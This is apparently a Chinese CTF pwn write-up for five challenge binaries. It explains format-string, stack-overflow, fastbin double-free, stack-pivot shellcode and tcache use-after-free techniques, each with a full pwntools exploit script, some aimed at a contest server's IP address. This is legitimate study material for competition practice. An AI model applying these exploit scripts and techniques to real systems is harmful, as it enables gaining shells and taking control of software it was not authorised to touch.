bank 分析 首先把输入和一个随机数用strcmp进行比较 通过则进入if中,把flag文件读到栈上 之后存在一个格式化字符串漏洞
思路 输入'\x00',则当生成的随机数第一个字节也是'\x00'时,就能通过判断 之后就是利用格式化字符串打印出flag 本地建一个flag.txt文件,gdb断点打到printf 接下来就要测出flag的偏移 可以直接使用一串%p确定
或者看栈的信息
可以看到flag位于栈上第四个参数,而fmt字符串储存在RDI寄存器中,同时fmt字符串中%n$sn为fmt字符串后面的参数的顺序,也就是说RSI对应格式化字符串的第一个参数。而由于栈上第一个元素为返回地址,应除去,所以总的来说flag就对应第8个参数(5+3) 最后输入%8$s即可输出flag
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(os='linux' , arch='amd64' ) while True : r = process('./bank' ) r.recvuntil(':' ) r.sendline('1' ) r.recvuntil(':' ) r.sendline('\x00' ) try : r.recvuntil('Your' ) print 'Fail' r.close() continue except : print 'success' r.sendline('yes' ) r.sendline('%8$s' ) r.interactive()
效果图
auto 分析 main函数太长无法反汇编
有后门get_sh 有个aas函数满足条件if ( should_succeed && !strncmp(s1, s2, 8u) )后进入存在栈溢出的函数login_again(),这里可以通过溢出返回到后门函数 同时aaz函数不能被执行否则should_succeed会被置0
有个加密函数
中间有一大段重复的函数片段,但真正有效的片段并不长,猜测是比较字符串,不通过则call aaz()失败,通过则call ass(),并在这之后都直接跳到程序的最后
有一种方法是直接用patch让程序跳到开始call ass前,就能反汇编了,不过缺少了字符串比较的部分
思路 根据加密函数写个解密函数
第一次发送解密出来的字符串 第二次栈溢出返回到后门函数即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os='linux' , arch='i386' , log_level='debug' ) r = process('auto' ) pwd = 'UCIJEURI' ans = '' for i in range (8 ): for j in range (65 ,91 ): if ((i*5 +j-65 )%26 + 65 ) == ord (pwd[i]): ans += chr (j) print ansr.recvuntil(':' ) r.sendline(ans) r.recvuntil(':' ) r.sendline('A' *0x48 + 'B' *0x4 + p32(0x08048665 )) r.interactive()
paper 分析 glibc2.23的堆题 cmd1:malloc(0x8),指针存到bss段上 cmd2:free后指针未置0 cmd3:edit可以向指针指向区域写入数字 cmd4:打印一个栈上元素的地址 cmd5:修改cmd4中栈上元素的值 cmd6:验证栈上值v9是否等于3435973836,通过则getshell
思路 存在uaf 可以用fastbin attack申请到栈上的空间
创造一个double free
利用cmd4得到栈上的地址
利用cmd3向free状态的fastbin写入fd指针指向栈上的地址
利用cmd5修改值,写入0x21,作为伪造的size位
连续申请两个chunk,即可申请到栈上的空间
再利用cmd3直接写入3435973836即可(经过调节使需要覆盖的值正好位于申请到的数据区域)
程序打印出来的栈上地址即为要伪造的size位地址 所以写入的fd指针指向size-0x8处 申请到后直接填入数据即可覆盖value
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote('81.70.195.166' , 10003 ) libc = ELF('./libc.so.6' ) elf = ELF('./paper' ) def creat (): r.recvuntil('choice > ' ) r.sendline('1' ) def remove (idx ): r.recvuntil('choice > ' ) r.sendline('2' ) r.recvuntil('Index:' ) r.sendline(str (idx)) def edit (idx, cnt ): r.recvuntil('choice > ' ) r.sendline('3' ) r.recvuntil('Index:' ) r.sendline(str (idx)) r.recvuntil(':' ) r.sendline(str (cnt)) creat() creat() remove(0 ) remove(1 ) remove(0 ) r.recvuntil('choice > ' ) r.sendline('4' ) r.recvuntil('Your disk is at: 0x' ) data = int (r.recv(12 ), 16 ) edit(0 , data-0x8 ) r.recvuntil('choice > ' ) r.sendline('5' ) r.sendline(str (0x21 )) creat() creat() edit(3 , str (3435973836 )) r.sendline('6' ) r.interactive()
small 分析 只有read 打开第一眼看到就觉得是srop 结果发现没开NX,那就可以直接用shellcode结合栈迁移做了
思路 利用gadgetpop rbp;ret把rbp改到bss段上,返回地址设置到sub rsp,10h处 由于是根据rdi确定read读入数据存储的地方,而这之前有指令lea rdi,[rbp+buf],这里的buf就是-10h,也就是说虽然这里我们还没有调整rsp,但数据存储地址是由rbp决定的,所以照样会被存到bss段上 接下来运行指令mov rsp,这样整个栈结构就被完全迁移到bss段上了 然后执行ret,返回到栈顶指向的地址 所以我们刚才输入的时候把偏移算好让这里rsp指向的地址存着shellcode的地址即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) small = ELF('./small' ) sh = remote('81.70.195.166' , 10002 ) bss_addr = 0x402020 shellcode = asm(shellcraft.sh()) payload = 'a' *0x18 +p64(0x401030 )+p64(bss_addr)+p64(0x401011 )+'b' *0x100 sh.sendline(payload) payload2 = 'A' *24 + p64(bss_addr+0x10 )+shellcode sh.sendline(payload2) sh.interactive()
managebook glibc2.27的堆题 赛后复现出来的
分析 creat 最多申请十个 chunk的指针记录在bss段上 chunk内部分别有一个函数指针指向puts,一个指向book name的指针和一个指向book summary的指针 申请name和summary的时候,会malloc(输入的size+1) 不存在溢出
结构
delete free指针 指针未置0 存在uaf
change free chunk里记录的sum指针 然后根据输入的size重新申请相应大小的空间 新的指针覆盖原来的指针
read 调用chunk里的函数指针,参数为指向summary的指针
思路 当删除一个chunk后,0x18大小的chunk会被放到tcache里 这时我们用change,新申请的size控制为0x18 这样程序就会free掉我们原本的summary,再malloc(0x18)就能申请到我们刚删掉的chunk(注意控制释放的summary大小不为0x18)
同时函数指针是不会改变的 第一次我们把summary指针改成函数got表地址 执行read就能计算得到libc地址 第二次把函数指针覆盖为system函数地址,同时把summary地址改成指向字符串'/bin/sh\x00'的地址 再次执行read就会执行system('/bin/sh\x00')
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = remote('81.70.195.166' , 10004 ) elf = ELF('./managebooks' ) libc = ELF('./libc.so.6' ) def add (size1, name, size2, sum ): r.recvuntil('>>' ) r.sendline('1' ) r.recvuntil(':' ) r.sendline(str (size1)) r.recvuntil(':' ) r.sendline(name) r.recvuntil(':' ) r.sendline(str (size2)) r.recvuntil(':' ) r.sendline(sum ) def delete (idx ): r.recvuntil('>>' ) r.sendline('2' ) r.recvuntil(':' ) r.sendline(str (idx)) def change (idx, size, sum ): r.recvuntil('>>' ) r.sendline('3' ) r.recvuntil(':' ) r.sendline(str (idx)) r.recvuntil(':' ) r.sendline(str (size)) r.recvuntil(':' ) r.sendline(sum ) def readbk (idx ): r.recvuntil('>>' ) r.sendline('4' ) r.recvuntil(':' ) r.sendline(str (idx)) ptr = 0x4008d8 add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) delete(0 ) change(2 , 0x18 , p64(ptr)+p64(0 )+p64(elf.got['malloc' ])) readbk(0 ) r.recv(1 ) data = u64(r.recvuntil('\x7f' ).ljust(8 ,'\x00' )) libc_base = data - libc.symbols['malloc' ] system_addr = libc_base + libc.symbols['system' ] print 'libc_base ==> ' , hex (libc_base)add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) add(0x18 , 'C' *0x18 , 0x18 , '/bin/sh\x00' ) add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) add(0x18 , 'C' *0x18 , 0x18 , 'D' *0x18 ) delete(4 ) change(6 , 0x18 , p64(system_addr)) readbk(4 ) r.interactive()